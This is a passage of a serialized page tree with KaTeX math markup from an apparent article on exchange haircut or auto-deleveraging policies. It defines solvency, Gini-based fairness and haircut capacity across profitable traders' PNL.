"children":163148},{"className":163147},[21453],[163149],{"type":32,"value":21456},{"type":26,"tag":475,"props":163151,"children":163153},{"className":163152},[3746],[163154],{"type":26,"tag":475,"props":163155,"children":163157},{"className":163156,"style":92750},[3751],[163158],{"type":26,"tag":475,"props":163159,"children":163160},{},[],{"type":32,"value":163162}," is the positive part of PNL.)",{"type":26,"tag":35,"props":163164,"children":163165},{},[163166],{"type":32,"value":163167},"And let's make the trilemma definitions concrete:",{"type":26,"tag":82,"props":163169,"children":163170},{},[163171,163645,164209],{"type":26,"tag":86,"props":163172,"children":163173},{},[163174,163178,163179,163433,163435,163486,163488,163591,163592,163643],{"type":26,"tag":2615,"props":163175,"children":163176},{},[163177],{"type":32,"value":160291},{"type":32,"value":32610},{"type":26,"tag":53,"props":163180,"children":163182},{"className":163181},[3691,3692],[163183],{"type":26,"tag":475,"props":163184,"children":163186},{"className":163185},[3697],[163187],{"type":26,"tag":475,"props":163188,"children":163190},{"className":163189,"ariaHidden":3703},[3702],[163191,163218],{"type":26,"tag":475,"props":163192,"children":163194},{"className":163193},[3708],[163195,163200,163205,163209,163214],{"type":26,"tag":475,"props":163196,"children":163199},{"className":163197,"style":163198},[3713],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":26,"tag":475,"props":163201,"children":163203},{"className":163202},[3719],[163204],{"type":32,"value":3722},{"type":26,"tag":475,"props":163206,"children":163208},{"className":163207,"style":3801},[3800],[],{"type":26,"tag":475,"props":163210,"children":163212},{"className":163211},[3806],[163213],{"type":32,"value":3780},{"type":26,"tag":475,"props":163215,"children":163217},{"className":163216,"style":3801},[3800],[],{"type":26,"tag":475,"props":163219,"children":163221},{"className":163220},[3708],[163222,163227],{"type":26,"tag":475,"props":163223,"children":163226},{"className":163224,"style":163225},[3713],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":26,"tag":475,"props":163228,"children":163230},{"className":163229},[3719],[163231,163235,163429],{"type":26,"tag":475,"props":163232,"children":163234},{"className":163233},[21425,112997],[],{"type":26,"tag":475,"props":163236,"children":163238},{"className":163237},[113002],[163239],{"type":26,"tag":475,"props":163240,"children":163242},{"className":163241},[3741,21350],[163243,163417],{"type":26,"tag":475,"props":163244,"children":163246},{"className":163245},[3746],[163247,163412],{"type":26,"tag":475,"props":163248,"children":163251},{"className":163249,"style":163250},[3751],"height:0.8884em;",[163252,163326,163337],{"type":26,"tag":475,"props":163253,"children":163254},{"style":113019},[163255,163259],{"type":26,"tag":475,"props":163256,"children":163258},{"className":163257,"style":111650},[3760],[],{"type":26,"tag":475,"props":163260,"children":163262},{"className":163261},[3766,3767,3768,3769],[163263],{"type":26,"tag":475,"props":163264,"children":163266},{"className":163265},[3719,3769],[163267],{"type":26,"tag":475,"props":163268,"children":163270},{"className":163269},[3719,3769],[163271,163276],{"type":26,"tag":475,"props":163272,"children":163274},{"className":163273,"style":92667},[3719,21296,3769],[163275],{"type":32,"value":160966},{"type":26,"tag":475,"props":163277,"children":163279},{"className":163278},[3736],[163280],{"type":26,"tag":475,"props":163281,"children":163283},{"className":163282},[3741,21350],[163284,163314],{"type":26,"tag":475,"props":163285,"children":163287},{"className":163286},[3746],[163288,163309],{"type":26,"tag":475,"props":163289,"children":163291},{"className":163290,"style":111811},[3751],[163292],{"type":26,"tag":475,"props":163293,"children":163295},{"style":163294},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[163296,163300],{"type":26,"tag":475,"props":163297,"children":163299},{"className":163298,"style":108339},[3760],[],{"type":26,"tag":475,"props":163301,"children":163303},{"className":163302},[3766,108344,108345,3769],[163304],{"type":26,"tag":475,"props":163305,"children":163307},{"className":163306,"style":21297},[3719,21296,3769],[163308],{"type":32,"value":5701},{"type":26,"tag":475,"props":163310,"children":163312},{"className":163311},[21453],[163313],{"type":32,"value":21456},{"type":26,"tag":475,"props":163315,"children":163317},{"className":163316},[3746],[163318],{"type":26,"tag":475,"props":163319,"children":163322},{"className":163320,"style":163321},[3751],"height:0.1433em;",[163323],{"type":26,"tag":475,"props":163324,"children":163325},{},[],{"type":26,"tag":475,"props":163327,"children":163328},{"style":113052},[163329,163333],{"type":26,"tag":475,"props":163330,"children":163332},{"className":163331,"style":111650},[3760],[],{"type":26,"tag":475,"props":163334,"children":163336},{"className":163335,"style":113062},[113061],[],{"type":26,"tag":475,"props":163338,"children":163340},{"style":163339},"top:-3.4101em;",[163341,163345],{"type":26,"tag":475,"props":163342,"children":163344},{"className":163343,"style":111650},[3760],[],{"type":26,"tag":475,"props":163346,"children":163348},{"className":163347},[3766,3767,3768,3769],[163349],{"type":26,"tag":475,"props":163350,"children":163352},{"className":163351},[3719,3769],[163353],{"type":26,"tag":475,"props":163354,"children":163356},{"className":163355},[3719,3769],[163357,163362],{"type":26,"tag":475,"props":163358,"children":163360},{"className":163359,"style":122256},[3719,21296,3769],[163361],{"type":32,"value":122259},{"type":26,"tag":475,"props":163363,"children":163365},{"className":163364},[3736],[163366],{"type":26,"tag":475,"props":163367,"children":163369},{"className":163368},[3741,21350],[163370,163401],{"type":26,"tag":475,"props":163371,"children":163373},{"className":163372},[3746],[163374,163396],{"type":26,"tag":475,"props":163375,"children":163378},{"className":163376,"style":163377},[3751],"height:0.2963em;",[163379],{"type":26,"tag":475,"props":163380,"children":163382},{"style":163381},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[163383,163387],{"type":26,"tag":475,"props":163384,"children":163386},{"className":163385,"style":108339},[3760],[],{"type":26,"tag":475,"props":163388,"children":163390},{"className":163389},[3766,108344,108345,3769],[163391],{"type":26,"tag":475,"props":163392,"children":163394},{"className":163393},[3719,21296,3769],[163395],{"type":32,"value":21438},{"type":26,"tag":475,"props":163397,"children":163399},{"className":163398},[21453],[163400],{"type":32,"value":21456},{"type":26,"tag":475,"props":163402,"children":163404},{"className":163403},[3746],[163405],{"type":26,"tag":475,"props":163406,"children":163408},{"className":163407,"style":108364},[3751],[163409],{"type":26,"tag":475,"props":163410,"children":163411},{},[],{"type":26,"tag":475,"props":163413,"children":163415},{"className":163414},[21453],[163416],{"type":32,"value":21456},{"type":26,"tag":475,"props":163418,"children":163420},{"className":163419},[3746],[163421],{"type":26,"tag":475,"props":163422,"children":163425},{"className":163423,"style":163424},[3751],"height:0.4453em;",[163426],{"type":26,"tag":475,"props":163427,"children":163428},{},[],{"type":26,"tag":475,"props":163430,"children":163432},{"className":163431},[21447,112997],[],{"type":32,"value":163434}," — how much of the total bad debt was actually covered. ",{"type":26,"tag":53,"props":163436,"children":163438},{"className":163437},[3691,3692],[163439],{"type":26,"tag":475,"props":163440,"children":163442},{"className":163441},[3697],[163443],{"type":26,"tag":475,"props":163444,"children":163446},{"className":163445,"ariaHidden":3703},[3702],[163447,163473],{"type":26,"tag":475,"props":163448,"children":163450},{"className":163449},[3708],[163451,163455,163460,163464,163469],{"type":26,"tag":475,"props":163452,"children":163454},{"className":163453,"style":21291},[3713],[],{"type":26,"tag":475,"props":163456,"children":163458},{"className":163457,"style":21755},[3719,21296],[163459],{"type":32,"value":21758},{"type":26,"tag":475,"props":163461,"children":163463},{"className":163462,"style":3898},[3800],[],{"type":26,"tag":475,"props":163465,"children":163467},{"className":163466},[3903],[163468],{"type":32,"value":786},{"type":26,"tag":475,"props":163470,"children":163472},{"className":163471,"style":3898},[3800],[],{"type":26,"tag":475,"props":163474,"children":163476},{"className":163475},[3708],[163477,163481],{"type":26,"tag":475,"props":163478,"children":163480},{"className":163479,"style":93698},[3713],[],{"type":26,"tag":475,"props":163482,"children":163484},{"className":163483},[3719],[163485],{"type":32,"value":3722},{"type":32,"value":163487}," means fully solvent (",{"type":26,"tag":53,"props":163489,"children":163491},{"className":163490},[3691,3692],[163492],{"type":26,"tag":475,"props":163493,"children":163495},{"className":163494},[3697],[163496],{"type":26,"tag":475,"props":163497,"children":163499},{"className":163498,"ariaHidden":3703},[3702],[163500,163578],{"type":26,"tag":475,"props":163501,"children":163503},{"className":163502},[3708],[163504,163508,163565,163569,163574],{"type":26,"tag":475,"props":163505,"children":163507},{"className":163506,"style":110476},[3713],[],{"type":26,"tag":475,"props":163509,"children":163511},{"className":163510},[3719],[163512,163517],{"type":26,"tag":475,"props":163513,"children":163515},{"className":163514,"style":122256},[3719,21296],[163516],{"type":32,"value":122259},{"type":26,"tag":475,"props":163518,"children":163520},{"className":163519},[3736],[163521],{"type":26,"tag":475,"props":163522,"children":163524},{"className":163523},[3741,21350],[163525,163554],{"type":26,"tag":475,"props":163526,"children":163528},{"className":163527},[3746],[163529,163549],{"type":26,"tag":475,"props":163530,"children":163532},{"className":163531,"style":161122},[3751],[163533],{"type":26,"tag":475,"props":163534,"children":163535},{"style":161126},[163536,163540],{"type":26,"tag":475,"props":163537,"children":163539},{"className":163538,"style":3761},[3760],[],{"type":26,"tag":475,"props":163541,"children":163543},{"className":163542},[3766,3767,3768,3769],[163544],{"type":26,"tag":475,"props":163545,"children":163547},{"className":163546},[3719,21296,3769],[163548],{"type":32,"value":21438},{"type":26,"tag":475,"props":163550,"children":163552},{"className":163551},[21453],[163553],{"type":32,"value":21456},{"type":26,"tag":475,"props":163555,"children":163557},{"className":163556},[3746],[163558],{"type":26,"tag":475,"props":163559,"children":163561},{"className":163560,"style":92750},[3751],[163562],{"type":26,"tag":475,"props":163563,"children":163564},{},[],{"type":26,"tag":475,"props":163566,"children":163568},{"className":163567,"style":3898},[3800],[],{"type":26,"tag":475,"props":163570,"children":163572},{"className":163571},[3903],[163573],{"type":32,"value":786},{"type":26,"tag":475,"props":163575,"children":163577},{"className":163576,"style":3898},[3800],[],{"type":26,"tag":475,"props":163579,"children":163581},{"className":163580},[3708],[163582,163586],{"type":26,"tag":475,"props":163583,"children":163585},{"className":163584,"style":93698},[3713],[],{"type":26,"tag":475,"props":163587,"children":163589},{"className":163588},[3719],[163590],{"type":32,"value":3732},{"type":32,"value":14883},{"type":26,"tag":53,"props":163593,"children":163595},{"className":163594},[3691,3692],[163596],{"type":26,"tag":475,"props":163597,"children":163599},{"className":163598},[3697],[163600],{"type":26,"tag":475,"props":163601,"children":163603},{"className":163602,"ariaHidden":3703},[3702],[163604,163630],{"type":26,"tag":475,"props":163605,"children":163607},{"className":163606},[3708],[163608,163612,163617,163621,163626],{"type":26,"tag":475,"props":163609,"children":163611},{"className":163610,"style":21291},[3713],[],{"type":26,"tag":475,"props":163613,"children":163615},{"className":163614,"style":21755},[3719,21296],[163616],{"type":32,"value":21758},{"type":26,"tag":475,"props":163618,"children":163620},{"className":163619,"style":3898},[3800],[],{"type":26,"tag":475,"props":163622,"children":163624},{"className":163623},[3903],[163625],{"type":32,"value":786},{"type":26,"tag":475,"props":163627,"children":163629},{"className":163628,"style":3898},[3800],[],{"type":26,"tag":475,"props":163631,"children":163633},{"className":163632},[3708],[163634,163638],{"type":26,"tag":475,"props":163635,"children":163637},{"className":163636,"style":93698},[3713],[],{"type":26,"tag":475,"props":163639,"children":163641},{"className":163640},[3719],[163642],{"type":32,"value":3732},{"type":32,"value":163644}," means nothing was recovered.",{"type":26,"tag":86,"props":163646,"children":163647},{},[163648,163652,163653,163776,163777,163994,163996,164100,164102,164153,164155,164207],{"type":26,"tag":2615,"props":163649,"children":163650},{},[163651],{"type":32,"value":160301},{"type":32,"value":32610},{"type":26,"tag":53,"props":163654,"children":163656},{"className":163655},[3691,3692],[163657],{"type":26,"tag":475,"props":163658,"children":163660},{"className":163659},[3697],[163661],{"type":26,"tag":475,"props":163662,"children":163664},{"className":163663,"ariaHidden":3703},[3702],[163665,163691],{"type":26,"tag":475,"props":163666,"children":163668},{"className":163667},[3708],[163669,163673,163678,163682,163687],{"type":26,"tag":475,"props":163670,"children":163672},{"className":163671,"style":163198},[3713],[],{"type":26,"tag":475,"props":163674,"children":163676},{"className":163675},[3719],[163677],{"type":32,"value":3722},{"type":26,"tag":475,"props":163679,"children":163681},{"className":163680,"style":3801},[3800],[],{"type":26,"tag":475,"props":163683,"children":163685},{"className":163684},[3806],[163686],{"type":32,"value":3780},{"type":26,"tag":475,"props":163688,"children":163690},{"className":163689,"style":3801},[3800],[],{"type":26,"tag":475,"props":163692,"children":163694},{"className":163693},[3708],[163695,163699,163709,163714,163771],{"type":26,"tag":475,"props":163696,"children":163698},{"className":163697,"style":3821},[3713],[],{"type":26,"tag":475,"props":163700,"children":163702},{"className":163701},[3719,32],[163703],{"type":26,"tag":475,"props":163704,"children":163706},{"className":163705},[3719],[163707],{"type":32,"value":163708},"Gini",{"type":26,"tag":475,"props":163710,"children":163712},{"className":163711},[21425],[163713],{"type":32,"value":626},{"type":26,"tag":475,"props":163715,"children":163717},{"className":163716},[3719],[163718,163723],{"type":26,"tag":475,"props":163719,"children":163721},{"className":163720},[3719,21296],[163722],{"type":32,"value":83967},{"type":26,"tag":475,"props":163724,"children":163726},{"className":163725},[3736],[163727],{"type":26,"tag":475,"props":163728,"children":163730},{"className":163729},[3741,21350],[163731,163760],{"type":26,"tag":475,"props":163732,"children":163734},{"className":163733},[3746],[163735,163755],{"type":26,"tag":475,"props":163736,"children":163738},{"className":163737,"style":93196},[3751],[163739],{"type":26,"tag":475,"props":163740,"children":163741},{"style":92723},[163742,163746],{"type":26,"tag":475,"props":163743,"children":163745},{"className":163744,"style":3761},[3760],[],{"type":26,"tag":475,"props":163747,"children":163749},{"className":163748},[3766,3767,3768,3769],[163750],{"type":26,"tag":475,"props":163751,"children":163753},{"className":163752},[3719,21296,3769],[163754],{"type":32,"value":3445},{"type":26,"tag":475,"props":163756,"children":163758},{"className":163757},[21453],[163759],{"type":32,"value":21456},{"type":26,"tag":475,"props":163761,"children":163763},{"className":163762},[3746],[163764],{"type":26,"tag":475,"props":163765,"children":163767},{"className":163766,"style":92750},[3751],[163768],{"type":26,"tag":475,"props":163769,"children":163770},{},[],{"type":26,"tag":475,"props":163772,"children":163774},{"className":163773},[21447],[163775],{"type":32,"value":2835},{"type":32,"value":7034},{"type":26,"tag":53,"props":163778,"children":163780},{"className":163779},[3691,3692],[163781],{"type":26,"tag":475,"props":163782,"children":163784},{"className":163783},[3697],[163785],{"type":26,"tag":475,"props":163786,"children":163788},{"className":163787,"ariaHidden":3703},[3702],[163789,163867],{"type":26,"tag":475,"props":163790,"children":163792},{"className":163791},[3708],[163793,163797,163854,163858,163863],{"type":26,"tag":475,"props":163794,"children":163796},{"className":163795,"style":141758},[3713],[],{"type":26,"tag":475,"props":163798,"children":163800},{"className":163799},[3719],[163801,163806],{"type":26,"tag":475,"props":163802,"children":163804},{"className":163803},[3719,21296],[163805],{"type":32,"value":83967},{"type":26,"tag":475,"props":163807,"children":163809},{"className":163808},[3736],[163810],{"type":26,"tag":475,"props":163811,"children":163813},{"className":163812},[3741,21350],[163814,163843],{"type":26,"tag":475,"props":163815,"children":163817},{"className":163816},[3746],[163818,163838],{"type":26,"tag":475,"props":163819,"children":163821},{"className":163820,"style":93196},[3751],[163822],{"type":26,"tag":475,"props":163823,"children":163824},{"style":92723},[163825,163829],{"type":26,"tag":475,"props":163826,"children":163828},{"className":163827,"style":3761},[3760],[],{"type":26,"tag":475,"props":163830,"children":163832},{"className":163831},[3766,3767,3768,3769],[163833],{"type":26,"tag":475,"props":163834,"children":163836},{"className":163835},[3719,21296,3769],[163837],{"type":32,"value":3445},{"type":26,"tag":475,"props":163839,"children":163841},{"className":163840},[21453],[163842],{"type":32,"value":21456},{"type":26,"tag":475,"props":163844,"children":163846},{"className":163845},[3746],[163847],{"type":26,"tag":475,"props":163848,"children":163850},{"className":163849,"style":92750},[3751],[163851],{"type":26,"tag":475,"props":163852,"children":163853},{},[],{"type":26,"tag":475,"props":163855,"children":163857},{"className":163856,"style":3898},[3800],[],{"type":26,"tag":475,"props":163859,"children":163861},{"className":163860},[3903],[163862],{"type":32,"value":786},{"type":26,"tag":475,"props":163864,"children":163866},{"className":163865,"style":3898},[3800],[],{"type":26,"tag":475,"props":163868,"children":163870},{"className":163869},[3708],[163871,163875,163932,163937],{"type":26,"tag":475,"props":163872,"children":163874},{"className":163873,"style":3821},[3713],[],{"type":26,"tag":475,"props":163876,"children":163878},{"className":163877},[3719],[163879,163884],{"type":26,"tag":475,"props":163880,"children":163882},{"className":163881},[3719,21296],[163883],{"type":32,"value":18984},{"type":26,"tag":475,"props":163885,"children":163887},{"className":163886},[3736],[163888],{"type":26,"tag":475,"props":163889,"children":163891},{"className":163890},[3741,21350],[163892,163921],{"type":26,"tag":475,"props":163893,"children":163895},{"className":163894},[3746],[163896,163916],{"type":26,"tag":475,"props":163897,"children":163899},{"className":163898,"style":93196},[3751],[163900],{"type":26,"tag":475,"props":163901,"children":163902},{"style":92723},[163903,163907],{"type":26,"tag":475,"props":163904,"children":163906},{"className":163905,"style":3761},[3760],[],{"type":26,"tag":475,"props":163908,"children":163910},{"className":163909},[3766,3767,3768,3769],[163911],{"type":26,"tag":475,"props":163912,"children":163914},{"className":163913},[3719,21296,3769],[163915],{"type":32,"value":3445},{"type":26,"tag":475,"props":163917,"children":163919},{"className":163918},[21453],[163920],{"type":32,"value":21456},{"type":26,"tag":475,"props":163922,"children":163924},{"className":163923},[3746],[163925],{"type":26,"tag":475,"props":163926,"children":163928},{"className":163927,"style":92750},[3751],[163929],{"type":26,"tag":475,"props":163930,"children":163931},{},[],{"type":26,"tag":475,"props":163933,"children":163935},{"className":163934},[3719],[163936],{"type":32,"value":4292},{"type":26,"tag":475,"props":163938,"children":163940},{"className":163939},[3719],[163941,163946],{"type":26,"tag":475,"props":163942,"children":163944},{"className":163943,"style":121759},[3719,21296],[163945],{"type":32,"value":49264},{"type":26,"tag":475,"props":163947,"children":163949},{"className":163948},[3736],[163950],{"type":26,"tag":475,"props":163951,"children":163953},{"className":163952},[3741,21350],[163954,163983],{"type":26,"tag":475,"props":163955,"children":163957},{"className":163956},[3746],[163958,163978],{"type":26,"tag":475,"props":163959,"children":163961},{"className":163960,"style":93196},[3751],[163962],{"type":26,"tag":475,"props":163963,"children":163964},{"style":160707},[163965,163969],{"type":26,"tag":475,"props":163966,"children":163968},{"className":163967,"style":3761},[3760],[],{"type":26,"tag":475,"props":163970,"children":163972},{"className":163971},[3766,3767,3768,3769],[163973],{"type":26,"tag":475,"props":163974,"children":163976},{"className":163975},[3719,21296,3769],[163977],{"type":32,"value":3445},{"type":26,"tag":475,"props":163979,"children":163981},{"className":163980},[21453],[163982],{"type":32,"value":21456},{"type":26,"tag":475,"props":163984,"children":163986},{"className":163985},[3746],[163987],{"type":26,"tag":475,"props":163988,"children":163990},{"className":163989,"style":92750},[3751],[163991],{"type":26,"tag":475,"props":163992,"children":163993},{},[],{"type":32,"value":163995}," for each winner with ",{"type":26,"tag":53,"props":163997,"children":163999},{"className":163998},[3691,3692],[164000],{"type":26,"tag":475,"props":164001,"children":164003},{"className":164002},[3697],[164004],{"type":26,"tag":475,"props":164005,"children":164007},{"className":164006,"ariaHidden":3703},[3702],[164008,164087],{"type":26,"tag":475,"props":164009,"children":164011},{"className":164010},[3708],[164012,164017,164074,164078,164083],{"type":26,"tag":475,"props":164013,"children":164016},{"className":164014,"style":164015},[3713],"height:0.6891em;vertical-align:-0.15em;",[],{"type":26,"tag":475,"props":164018,"children":164020},{"className":164019},[3719],[164021,164026],{"type":26,"tag":475,"props":164022,"children":164024},{"className":164023,"style":121759},[3719,21296],[164025],{"type":32,"value":49264},{"type":26,"tag":475,"props":164027,"children":164029},{"className":164028},[3736],[164030],{"type":26,"tag":475,"props":164031,"children":164033},{"className":164032},[3741,21350],[164034,164063],{"type":26,"tag":475,"props":164035,"children":164037},{"className":164036},[3746],[164038,164058],{"type":26,"tag":475,"props":164039,"children":164041},{"className":164040,"style":93196},[3751],[164042],{"type":26,"tag":475,"props":164043,"children":164044},{"style":160707},[164045,164049],{"type":26,"tag":475,"props":164046,"children":164048},{"className":164047,"style":3761},[3760],[],{"type":26,"tag":475,"props":164050,"children":164052},{"className":164051},[3766,3767,3768,3769],[164053],{"type":26,"tag":475,"props":164054,"children":164056},{"className":164055},[3719,21296,3769],[164057],{"type":32,"value":3445},{"type":26,"tag":475,"props":164059,"children":164061},{"className":164060},[21453],[164062],{"type":32,"value":21456},{"type":26,"tag":475,"props":164064,"children":164066},{"className":164065},[3746],[164067],{"type":26,"tag":475,"props":164068,"children":164070},{"className":164069,"style":92750},[3751],[164071],{"type":26,"tag":475,"props":164072,"children":164073},{},[],{"type":26,"tag":475,"props":164075,"children":164077},{"className":164076,"style":3898},[3800],[],{"type":26,"tag":475,"props":164079,"children":164081},{"className":164080},[3903],[164082],{"type":32,"value":10170},{"type":26,"tag":475,"props":164084,"children":164086},{"className":164085,"style":3898},[3800],[],{"type":26,"tag":475,"props":164088,"children":164090},{"className":164089},[3708],[164091,164095],{"type":26,"tag":475,"props":164092,"children":164094},{"className":164093,"style":93698},[3713],[],{"type":26,"tag":475,"props":164096,"children":164098},{"className":164097},[3719],[164099],{"type":32,"value":3732},{"type":32,"value":164101}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":26,"tag":53,"props":164103,"children":164105},{"className":164104},[3691,3692],[164106],{"type":26,"tag":475,"props":164107,"children":164109},{"className":164108},[3697],[164110],{"type":26,"tag":475,"props":164111,"children":164113},{"className":164112,"ariaHidden":3703},[3702],[164114,164140],{"type":26,"tag":475,"props":164115,"children":164117},{"className":164116},[3708],[164118,164122,164127,164131,164136],{"type":26,"tag":475,"props":164119,"children":164121},{"className":164120,"style":21291},[3713],[],{"type":26,"tag":475,"props":164123,"children":164125},{"className":164124,"style":21297},[3719,21296],[164126],{"type":32,"value":121257},{"type":26,"tag":475,"props":164128,"children":164130},{"className":164129,"style":3898},[3800],[],{"type":26,"tag":475,"props":164132,"children":164134},{"className":164133},[3903],[164135],{"type":32,"value":786},{"type":26,"tag":475,"props":164137,"children":164139},{"className":164138,"style":3898},[3800],[],{"type":26,"tag":475,"props":164141,"children":164143},{"className":164142},[3708],[164144,164148],{"type":26,"tag":475,"props":164145,"children":164147},{"className":164146,"style":93698},[3713],[],{"type":26,"tag":475,"props":164149,"children":164151},{"className":164150},[3719],[164152],{"type":32,"value":3722},{"type":32,"value":164154}," means everyone loses the same fraction of their PNL. ",{"type":26,"tag":53,"props":164156,"children":164158},{"className":164157},[3691,3692],[164159],{"type":26,"tag":475,"props":164160,"children":164162},{"className":164161},[3697],[164163],{"type":26,"tag":475,"props":164164,"children":164166},{"className":164165,"ariaHidden":3703},[3702],[164167,164194],{"type":26,"tag":475,"props":164168,"children":164170},{"className":164169},[3708],[164171,164175,164180,164184,164190],{"type":26,"tag":475,"props":164172,"children":164174},{"className":164173,"style":21291},[3713],[],{"type":26,"tag":475,"props":164176,"children":164178},{"className":164177,"style":21297},[3719,21296],[164179],{"type":32,"value":121257},{"type":26,"tag":475,"props":164181,"children":164183},{"className":164182,"style":3898},[3800],[],{"type":26,"tag":475,"props":164185,"children":164187},{"className":164186},[3903],[164188],{"type":32,"value":164189},"≈",{"type":26,"tag":475,"props":164191,"children":164193},{"className":164192,"style":3898},[3800],[],{"type":26,"tag":475,"props":164195,"children":164197},{"className":164196},[3708],[164198,164202],{"type":26,"tag":475,"props":164199,"children":164201},{"className":164200,"style":93698},[3713],[],{"type":26,"tag":475,"props":164203,"children":164205},{"className":164204},[3719],[164206],{"type":32,"value":3732},{"type":32,"value":164208}," means a few get wiped while most are untouched.",{"type":26,"tag":86,"props":164210,"children":164211},{},[164212,164216,164217,164375,164377,164471,164473],{"type":26,"tag":2615,"props":164213,"children":164214},{},[164215],{"type":32,"value":160311},{"type":32,"value":32610},{"type":26,"tag":53,"props":164218,"children":164220},{"className":164219},[3691,3692],[164221],{"type":26,"tag":475,"props":164222,"children":164224},{"className":164223},[3697],[164225],{"type":26,"tag":475,"props":164226,"children":164228},{"className":164227,"ariaHidden":3703},[3702],[164229],{"type":26,"tag":475,"props":164230,"children":164232},{"className":164231},[3708],[164233,164238,164313,164318],{"type":26,"tag":475,"props":164234,"children":164237},{"className":164235,"style":164236},[3713],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":26,"tag":475,"props":164239,"children":164241},{"className":164240},[3719],[164242,164247],{"type":26,"tag":475,"props":164243,"children":164245},{"className":164244,"style":94675},[3719,21296],[164246],{"type":32,"value":161036},{"type":26,"tag":475,"props":164248,"children":164250},{"className":164249},[3736],[164251],{"type":26,"tag":475,"props":164252,"children":164254},{"className":164253},[3741,21350],[164255,164301],{"type":26,"tag":475,"props":164256,"children":164258},{"className":164257},[3746],[164259,164296],{"type":26,"tag":475,"props":164260,"children":164262},{"className":164261,"style":108196},[3751],[164263,164280],{"type":26,"tag":475,"props":164264,"children":164266},{"style":164265},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[164267,164271],{"type":26,"tag":475,"props":164268,"children":164270},{"className":164269,"style":3761},[3760],[],{"type":26,"tag":475,"props":164272,"children":164274},{"className":164273},[3766,3767,3768,3769],[164275],{"type":26,"tag":475,"props":164276,"children":164278},{"className":164277,"style":21297},[3719,21296,3769],[164279],{"type":32,"value":5701},{"type":26,"tag":475,"props":164281,"children":164282},{"style":3755},[164283,164287],{"type":26,"tag":475,"props":164284,"children":164286},{"className":164285,"style":3761},[3760],[],{"type":26,"tag":475,"props":164288,"children":164290},{"className":164289},[3766,3767,3768,3769],[164291],{"type":26,"tag":475,"props":164292,"children":164294},{"className":164293,"style":93153},[3719,21296,3769],[164295],{"type":32,"value":160550},{"type":26,"tag":475,"props":164297,"children":164299},{"className":164298},[21453],[164300],{"type":32,"value":21456},{"type":26,"tag":475,"props":164302,"children":164304},{"className":164303},[3746],[164305],{"type":26,"tag":475,"props":164306,"children":164309},{"className":164307,"style":164308},[3751],"height:0.2753em;",[164310],{"type":26,"tag":475,"props":164311,"children":164312},{},[],{"type":26,"tag":475,"props":164314,"children":164316},{"className":164315},[3719],[164317],{"type":32,"value":4292},{"type":26,"tag":475,"props":164319,"children":164321},{"className":164320},[3719],[164322,164327],{"type":26,"tag":475,"props":164323,"children":164325},{"className":164324,"style":94675},[3719,21296],[164326],{"type":32,"value":161036},{"type":26,"tag":475,"props":164328,"children":164330},{"className":164329},[3736],[164331],{"type":26,"tag":475,"props":164332,"children":164334},{"className":164333},[3741,21350],[164335,164364],{"type":26,"tag":475,"props":164336,"children":164338},{"className":164337},[3746],[164339,164359],{"type":26,"tag":475,"props":164340,"children":164342},{"className":164341,"style":142034},[3751],[164343],{"type":26,"tag":475,"props":164344,"children":164345},{"style":161055},[164346,164350],{"type":26,"tag":475,"props":164347,"children":164349},{"className":164348,"style":3761},[3760],[],{"type":26,"tag":475,"props":164351,"children":164353},{"className":164352},[3766,3767,3768,3769],[164354],{"type":26,"tag":475,"props":164355,"children":164357},{"className":164356,"style":21297},[3719,21296,3769],[164358],{"type":32,"value":5701},{"type":26,"tag":475,"props":164360,"children":164362},{"className":164361},[21453],[164363],{"type":32,"value":21456},{"type":26,"tag":475,"props":164365,"children":164367},{"className":164366},[3746],[164368],{"type":26,"tag":475,"props":164369,"children":164371},{"className":164370,"style":92750},[3751],[164372],{"type":26,"tag":475,"props":164373,"children":164374},{},[],{"type":32,"value":164376}," — ",{"type":26,"tag":53,"props":164378,"children":164380},{"className":164379},[3691,3692],[164381],{"type":26,"tag":475,"props":164382,"children":164384},{"className":164383},[3697],[164385],{"type":26,"tag":475,"props":164386,"children":164388},{"className":164387,"ariaHidden":3703},[3702],[164389],{"type":26,"tag":475,"props":164390,"children":164392},{"className":164391},[3708],[164393,164398],{"type":26,"tag":475,"props":164394,"children":164397},{"className":164395,"style":164396},[3713],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":26,"tag":475,"props":164399,"children":164401},{"className":164400},[3719],[164402,164407],{"type":26,"tag":475,"props":164403,"children":164405},{"className":164404,"style":94675},[3719,21296],[164406],{"type":32,"value":161036},{"type":26,"tag":475,"props":164408,"children":164410},{"className":164409},[3736],[164411],{"type":26,"tag":475,"props":164412,"children":164414},{"className":164413},[3741,21350],[164415,164460],{"type":26,"tag":475,"props":164416,"children":164418},{"className":164417},[3746],[164419,164455],{"type":26,"tag":475,"props":164420,"children":164422},{"className":164421,"style":108196},[3751],[164423,164439],{"type":26,"tag":475,"props":164424,"children":164425},{"style":164265},[164426,164430],{"type":26,"tag":475,"props":164427,"children":164429},{"className":164428,"style":3761},[3760],[],{"type":26,"tag":475,"props":164431,"children":164433},{"className":164432},[3766,3767,3768,3769],[164434],{"type":26,"tag":475,"props":164435,"children":164437},{"className":164436,"style":21297},[3719,21296,3769],[164438],{"type":32,"value":5701},{"type":26,"tag":475,"props":164440,"children":164441},{"style":3755},[164442,164446],{"type":26,"tag":475,"props":164443,"children":164445},{"className":164444,"style":3761},[3760],[],{"type":26,"tag":475,"props":164447,"children":164449},{"className":164448},[3766,3767,3768,3769],[164450],{"type":26,"tag":475,"props":164451,"children":164453},{"className":164452,"style":93153},[3719,21296,3769],[164454],{"type":32,"value":160550},{"type":26,"tag":475,"props":164456,"children":164458},{"className":164457},[21453],[164459],{"type":32,"value":21456},{"type":26,"tag":475,"props":164461,"children":164463},{"className":164462},[3746],[164464],{"type":26,"tag":475,"props":164465,"children":164467},{"className":164466,"style":164308},[3751],[164468],{"type":26,"tag":475,"props":164469,"children":164470},{},[],{"type":32,"value":164472}," is the haircut capacity (total positive PNL) after going through a policy 